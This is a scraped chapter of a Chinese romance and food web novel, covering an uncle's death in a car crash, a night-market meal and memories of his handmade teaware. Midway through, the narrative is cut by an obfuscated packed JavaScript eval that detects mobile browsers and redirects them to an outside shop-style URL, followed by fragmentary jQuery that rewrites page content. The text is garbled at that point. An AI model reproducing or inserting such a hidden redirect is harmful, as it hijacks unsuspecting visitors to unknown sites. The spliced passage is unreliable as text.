98. 桂花蝉

作品:《竹马,青梅好吃吗[美食]

    时静萤被她这话勾起馋虫,“我饿了林翊楠。”


    “那你看看安悦给你自动回复设置的,半夜饿了怎么办的回答。”


    安悦在医院繁忙,好不容易休息了也在家补觉,给时静萤设置了自动回复,其中,半夜经常叫饿的回答,安悦早已总结完毕。


    那是一长串生动而形象的比喻,坏死样干酪,外生宫颈癌型菜花,肉瘤状鱼肉,动脉内膜样洋葱皮,R-S细胞样爆米花,囊肿样巧克力,食管癌型蕈伞,乳腺癌橘皮,豆腐渣样酸奶,旺旺雪饼(脓包型银屑病),芒果味雪媚娘痈。


    如果想喝奶茶,请看芋泥啵啵奶盖。


    最上层的泡沫层奶盖,支扩痰液分层。


    黏液层,奶茶。


    脓性成分,芋泥。


    坏死组织,珍珠啵啵。


    如果近期恋爱,祝你跟蛔虫一样,蛔虫雌雄抱对生长,一辈子不分开。


    时静萤一连点了几个,惊动了补觉的安悦,电话铃声响起的时候,众人都觉得旋律熟悉,可歌词又令人陌生,“请赐予我乳腺癌与肺癌的力量~”


    声音带着困倦与睡不醒的沙哑,“喂,又饿了?”


    “看完那一整段,就不饿了。”时静萤道,“没想到把你吵醒了。”


    安悦忽然被逗得发笑,“本来想减肥汇总在一起给自己戒馋虫的,前几天没吃早饭头晕目眩的就放弃了,本来我也不胖,在医院上班需要持久的体力。”


    “你哪里需要减肥了。”时静萤轻声笑了笑,“饿不饿,有没有力气吃大餐?”


    “在哪啊。”安悦兴奋了一会,又垂头说道:“可是我起不来,不想离开我的床。”


    “一会给你发菜单,想吃什么我让人给你送。”时静萤体贴的说道。


    “那太好了,爱你。”安悦语气欣喜,“你不知道我见到了谁,我连着做了好几个噩梦。”


    “谁?”


    “柳依依。”安悦叹了口气,“大学一开始的时候,我去你们寝室那晚,还羡慕你们寝室的关系好呢。虽然我对柳依依说不上喜欢,但她骤然离世,像窗边不远不近的一朵花,来不及凋零就倏然落了。”


    时静萤沉默良久,缓缓才吐出两个字,“是啊。”


    安悦话锋一转,“只是,好像走了的是一家人,不过一家人怎么会坐两辆车。”


    “什么?”时静萤有些迟疑的问道,“什么一家人?”


    “似乎撞死她跟她妈妈的,是她爸爸。”安悦回想了一下同事讲的八卦。


    安悦不知道柳依依的生父是她的叔叔,只是,叔叔走了?


    老妈的电话打来的时候,时静萤有些恍惚,“你叔叔走了,奶奶伤心过度住院了。”


    秦游川接了个电话,脸色难看的跟林翊楠说道,“今天这个生日宴,怕是办不下去,你帮我照顾一下宾客,今天算林园开业吧。”


    “你们急匆匆去哪?”


    时静萤:“我叔叔去世。”


    秦游川:“我爸走了。”说着,秦游川问道:“我去安和医院,你去哪?”


    “安和医院。”时静萤缓了缓,才说道:“那正好带我一起。”


    秦游川的司机开车极稳,两个人心急如焚,一下车各自急匆匆的往病房赶,忽然对视了一眼,秦游川问道:“你叔叔因为什么……”


    “车祸。”时静萤言简意赅。


    直到从老妈口中听到全过程,“高速狭路相逢,秦家老爷子酒驾超速撞上护栏,停在原地醒酒,柳禾的车追尾,你叔叔看到了柳禾的车跟上去,看到她追的是秦老爷子的车,超速飙车,多车连撞起火。”


    “林翊楠说柳依依跟柳禾是去监狱,看秦淮舟的路上出的车祸,怎么会是这样?”


    “有一点偏差,她们监狱出来以后,柳禾知道秦老爷子也来看过秦淮舟,看到了他的车,想找老爷子求情,所以开车追了上去。”


    时静萤听得有些发懵,迷迷糊糊听到老妈问道:“你怎么是跟秦游川一起来的?”


    “今天是秦游川生日,他在刚开业的林园设宴。”


    “原来如此。”


    医院乱作一团,等到时静萤回神,总觉得那股消毒水的味道如影随形,像是要把人拖拽进海里,索性出了门,在长椅上坐等林翊楠的车。


    一抬头,才发现天黑漆漆的,像是合上了棺材,将人都关在了里头,唯有昏黄的月亮像是一枚镶嵌的螺钿。


    林翊楠到时,时静萤动作迟缓地坐上车,车里舒缓轻柔的音乐流淌过时静萤的耳朵,倾入又倒出,时静萤像是被裹进玻璃罩里,像是有一层无形的屏障,她没有过多的难过,神色自若,却仿佛一切的动作都变得迟缓。林翊楠觉得时静萤像是吞下猎物的蟒蛇,躯体沉重的缓慢消化的突如其来的情绪。


    时静萤都能感觉到驾驶位的人偷偷打量了一路,频率不算高,假装在看后视镜,佯装若无其事的样子,可眼里的担忧又未能藏住,余光里林翊楠清隽的眉宇,逐渐凝成一个川字。


    林翊楠努力舒展着眉宇,撑起的笑意轻而易举感染着时静萤,“饿不饿?想回家吃,还是带你去觅食?这里附近有个大学夜市,小吃街也很热闹,我们去逛一逛?”


    时静萤陷入思考:“你的提议好多,我都不知道该选哪一个?去逛逛小吃街吧,好久没吃了。”


    两人找停车场停了车,林翊楠把自己的大衣脱了下来,盖在时静萤肩上,整理了一下袖子,这才满意的露出笑容,两人一路慢悠悠地走过去,经过面包店时,鸡蛋、香草与面包的焦香氤氲不散。


    时静萤开口闲聊:“今天林园开业,吃的怎么样?”


    “也没我们时大厨做的好吃,只是有几道菜新鲜,有人爱不释口,有人避恐不及。”


    “什么菜啊,我吃过没有?”时静萤听了好奇问道。


    “端上鸭子上放着油炸好的桂花蝉,宋鹤没忍住吐了,嘴里大喊着谁把蟑螂端上桌了,气得我骂他,那桂花蝉可是按只出售的,体内有香腺,可做香料,粼音倒是觉得好吃,说这炸桂花蝉有股桂花香。”


    “不过这菜也好,不爱吃的人倒是让爱吃的人尽兴,不过因为这菜,我还专门给爱吃的人换了同一桌,谁知道宋鹤为了粼音咬牙硬撑,他最怕这些,魂都要吓飞了,还硬着头皮吃。”


    时静萤难免被逗笑,酝着甜糯桂花味道的蝉,听着她大概是爱吃的,只是蟑螂模样桂花味,实在是奇特。


    炸串摊前缭绕的浓烟薄雾,绕着高挑的二人,两人看着倒非尘世中人,一副遗世出尘的清冷模样,跟要成仙一样,时静萤还穿着一身清新绿色的旗袍,描金的松竹梅纹路极为清雅,一块黄金蛛丝披肩搭配,鬓上插着一只近乎透明的水仙皮造花,偶尔透着光亮,像是皮影戏一般。


    不少人在二人后面排起了队,“怎么就喜欢这家?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563343|177414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“我喜欢吃娃娃菜,可是放在架子上烤得好的人不多,这里会把娃娃菜浸进油锅里煎透,这才好吃。有些地方娃娃菜下边的梗厚厚的,也没有切薄,也不管那水分足,一股脑的刷油烤,烤得叶子黑焦,下边反倒没熟透。”说着时静萤把肩上披肩给林翊楠,“你帮我拿着,我怕溅到油渍。”接过摊主打包盒用透明袋子装着的烧烤。


    扑面而来是烧烤料辛香,带着熏烤的烟火气,油脂透过塑料袋渗得手也变得粘腻。时静萤右手拎着串,左手的盒子托着,肉串被烤的很透,瘦肉多,没有太多的肉筋去膈应牙齿。


    时静萤吃了一条香茅草烤鱼,要回去时经过干锅牛蛙铺,被勾起馋虫,上一个顾客点了干锅牛蛙与牛肉双拼,爆炒的香味久久不散,店主颠锅之余不忘拉客,“要不要来一份,没别的,就是费米饭。”


    林翊楠笑着说道,“来一份吧,这个点我也饿了。”


    猛火爆炒的香味止不住的往鼻子里涌,勾引馋虫,时静萤虽没有点辣的,但看得出老板挑了料汁,炒得也入味。


    时静萤与林翊楠共食一份,两人各自要了一份米饭,牛肉炒得很嫩,不柴不老,牛蛙入味很是难得,时静萤吃的许多都是外头咸香,里面寡淡的,这个却刚好,里面配菜的藕、土豆先油炸后爆炒,切段的芹菜爽口,口感丰富的同时,每一样都好吃。


    牛肉、牛蛙都吃完了,时静萤本以为自己要剩下饭,但浇了点汁,还吃了紫皮的洋葱,不辛辣,微微带着点甜,两人从抢食牛肉、牛蛙到配菜的洋葱,居然也一整份吃完了。


    两人吃得尽兴,起来时时静萤无奈皱眉,“好撑。”


    林翊楠本以为安慰好了时小萤的胃,慢慢照顾她的心情就会好起来,可看她一个人坐着摩挲叔叔送的杯子,橙色釉面的茶碗,坦诚且肆意的颜色,静物有着油画般的立体美感。他忽然发现,时小萤或许远比自己所想的,更在乎这个叔叔。


    “我第一次喝茶是跟叔叔。虽然他游手好闲,爱招蜂引蝶,却很喜欢把玩茶具,去一个朋友那学做紫砂壶后便一发不可收拾,我听柳依依说,她妈妈开过类似的店,大概就是那样认识的。”


    “我每年生日,都是他手工做的茶壶杯盏,壶盖与盖廊要紧密,这样斟水的幅度过大,壶盖也不会掉落。他知道我怕热,特意把豆纽用绝缘配料,提起壶盖时不会滑脱,也不会太烫。每年他做的都合我心意,只觉得叔叔那一双巧手与妙思,都汇聚在茶碗上了。”


    “他不爱做生意,对茶却有着无与伦比的耐心,品茶,要挑选不一样材质的器具,陶杯、瓷杯,每次都说,天气不同,饮茶的心境也不同,暴雨时取一把壶喝茶,又或者品着茶,看夕阳排山倒海般到来,又杳然而去。喝到天光大亮转而沉入暮色的寂静。”


    “茶桌上是他的一方天地,茶席是一个小小的山水、园林。茶具是陪伴他品茗的立体画。他手边最喜欢的那只茶碗,我说像是莫奈的睡莲,他却不喜欢。”


    “莫奈的睡莲哪里比得上赵昌的《岁朝图》,朱砂、白粉、胭脂、石绿画成,石青填底,比莫奈可早了九百年,都说原来的日本学了不少唐朝的精髓,其实汲取了不少宋朝的画,构成浮世绘的风格,19世纪传到欧洲,在法国流行,影响了莫奈等印象派画家。那时候,我还没见过那幅画,只听他笑着同我说,哪有说祖宗的姓是随孙子的。”


    “你叔叔倒也是个有意思的人。”